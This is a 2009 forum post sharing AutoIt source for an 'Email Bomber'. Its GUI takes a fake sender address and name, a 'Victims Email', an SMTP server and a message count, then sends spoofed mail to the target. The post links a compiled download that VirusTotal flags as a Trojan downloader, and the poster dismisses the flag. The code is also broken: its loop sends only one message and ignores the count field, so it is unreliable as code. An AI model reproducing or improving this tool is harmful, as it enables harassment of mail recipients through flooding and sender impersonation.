[AutoIT] Risker's SMPT Email Bomber

~~risker~~ · #1 03-13-2009, 07:01 PM

Code:

#include <INet.au3>

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Risker's ~ Email Bomber", 335, 326, 193, 124)
$Group1 = GUICtrlCreateGroup("Email Specs", 8, 8, 313, 137)
$Label2 = GUICtrlCreateLabel("Your fake email", 16, 48, 77, 17)
$Label3 = GUICtrlCreateLabel("Victims Email", 16, 72, 65, 17)
$Input1 = GUICtrlCreateInput("Server Name", 120, 24, 169, 21)
$Yemail = GUICtrlCreateInput("Risker@d3scene.com", 120, 48, 169, 21)
$Vemail = GUICtrlCreateInput("Zack@d3scene.com", 120, 72, 169, 21)
$Label1 = GUICtrlCreateLabel("SMTP Server ", 16, 24, 71, 17)
$Label6 = GUICtrlCreateLabel("Your fake name goes here", 16, 104, 79, 17)
$Input3 = GUICtrlCreateInput("Risker D3scene.com", 120, 104, 169, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Email Info", 8, 152, 313, 121)
$Label4 = GUICtrlCreateLabel("Title", 16, 176, 24, 17)
$Input2 = GUICtrlCreateInput("Untitled", 80, 176, 233, 21)
$Label5 = GUICtrlCreateLabel("Subject", 16, 208, 40, 17)
$Input4 = GUICtrlCreateInput("Untitled", 80, 208, 233, 21)
$Body = GUICtrlCreateLabel("Body", 16, 240, 28, 17)
$Input5 = GUICtrlCreateInput("Body of email goes here", 80, 240, 233, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button1 = GUICtrlCreateButton("Send Send!!", 256, 280, 65, 33, 0)
$Label7 = GUICtrlCreateLabel("How many would you like to send?", 8, 288, 168, 17)
$Input6 = GUICtrlCreateInput("20", 192, 288, 57, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
case $button1
    start()
EndSwitch
WEnd



func start()
$s_SmtpServer = guictrlread($input1)
$s_FromName = guictrlread($input3)
$s_FromAddress = guictrlread($yemail)
$s_ToAddress = guictrlread($vemail)
$s_Subject = guictrlread($input4)
$as_Body = guictrlread($input2)

Do
    $i = 0
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
$i = $i + 1

if @error Then
    msgbox (1,"Error","An Error has occured" & @crlf & @crlf & "Please double check every field filled out and/or try a different Smtp server")
ExitLoop
endif
until $i = 1

$err = @error
If $Response = 1 Then
    MsgBox(0, "Success!!", "Mail sent")
Else
    MsgBox(0, "Error!", "Mail failed with error code " & $err)
EndIf
endfunc

Rapidshare Link
Virustotal. MD5: feae7f7eff9c4778f48363c59914c467 Suspicious File Trojan/Downloader.AutoIt.ib
It's virus free but yea.. Lol